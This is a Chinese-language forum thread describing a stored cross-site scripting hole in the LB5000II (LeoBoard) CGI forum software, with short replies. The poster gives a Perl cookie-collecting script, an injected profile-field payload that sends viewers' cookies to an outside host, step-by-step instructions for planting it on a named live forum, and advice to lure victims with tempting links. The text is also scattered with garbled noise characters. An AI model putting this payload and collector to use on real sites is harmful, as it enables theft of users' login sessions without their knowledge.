雷傲跨站脚本漏洞收集用户cookie漏洞，适合与任何版本，任何系统

幸福的傻瓜

漏洞描述：
# C' v) W7 u  u  f0 ^  LB5000II是国内流行的CGI程序之一，是在Ikonboard的基础之上改进的，目前最新
; {( }% Q, d' X8 q: y. E/ S版本是LB5000II v20317b，可以http://www.leoboard.com下载。
  其注册模块未过滤用户资料   最高学历：职业状况：等注册信息
导致恶意用户可以通过伪造<s cript>alert(documents.ｃookie)</s cript>
进行攻击，进一步可以通过某中方式收集。测试通过
6 Y) W% {/ q3 o: i/ N: P测试程序：
- W" w- d$ _! H" ~5 {  参考漏洞描述。
: ?4 a' e) ~, |" F9 ~$ x! H% T7 W- W1 b6 J解决方案：
% J3 J, e' |- y$ v1 [' c) Z! ^5 h  对用户提交的资料进行过滤
   
0 s' X4 z3 \, U( `; h
请在s8s8论坛访问
http://www.leothreads.com/cgi-bin/profile.cgi?action=show&member=大刀队
) h$ C9 J9 K" ]& ~; J) L- `那么你在s8s8.net 的cookie将被我所获取.
#!/usr/bin/perl
#leo.cgi
( V7 ]& P: L) Q7 Z7 k, v$url="http://www.s8s8.net";;
0 _4 i8 P: z5 `" v* ?3 \; `% d+ k: I$method=$ENV{"REQUEST_METHOD"};
if(lc($method) eq "get"){$buffer=$ENV{"QUERY_STRING"};}
else{read(STDIN,$buffer,length($ENV{"CONTENT_LENGTH"}));}
$remote_addr=$ENV{"REMOTE_ADDR"};
$buffer=~tr/+/ /;
1 ?+ g* `# U3 b5 n2 }+ `$buffer=~s/%([\dA-Fa-f0-9][\dA-Fa-f0-9])/pack("C",hex($1))/eg;
$buffer=$buffer."|$remote_addr\n";
open(FILE,">>leo.txt");
1 v* K7 U) z& g! tprint FILE $buffer;
close(FILE);                       
print "Location:$url\n\n";
$ Z0 ~9 b' v. g上面是我的cookie收集脚本
3 F9 @/ p/ z* n" |- b. e------------------------------------------------------------------------------
) K; G. z& {2 O1 U' J$ Q范例：以s8s8为例，感谢好友狩猎者 shocknet 帮助测试
% p+ L3 B: A) S用大刀队登陆s8s8论坛，编辑个人资料，
% @) ?8 x% j8 @3 S/ T. e+ S% }用记事本打开编辑网页
<option value="中专">中专</option>  这一项改成
( T4 P0 a& B1 F0 k8 B, w1 I2 [<option value="<s cript>window.open('http://enter.3322.net/cgi-bin/info/leo.cgi?&#39;+documents.ｃookie)</s cript>">中专</option>   

% L3 c6 b  R) R- `* O编辑<FORM action="profile.cgi" method=post name="creator" enctype="multipart/FORM-data">
改为
<FORM action="http://www.leothreads.com/cgi-bin/profile.cgi"; method=post name="creator" enctype="multipart/FORM-data">
6 w, q: h+ S# A. f保存编辑的网页，用自己的页登陆，选“中专”一项，提交数据，
3 p& _5 s0 g! w7 q& E6 W# @这样以后只要查看大刀队的资料的用户，那么查看者的cookie资料将被截获。
" _! R7 l. o* X+ @9 a1 |% z为了伪装的更好，可以在论坛发具有诱惑力的帖子连接，吸引人家去点击，
什么算诱惑力呢，自己发挥吧。
. G1 s5 n/ A1 n

lostway

我连怎么设置超连接都不懂~~~汗~！能教教我吗？
% T7 u& _+ J) R1 N" O! B* U8 P（我指在贴上设置）

YES东

我们的论坛虽然是使用这个程序！但没这个问题！
  S7 k- {( p4 H/ s, i9 i

幸福的傻瓜

那当染好了啊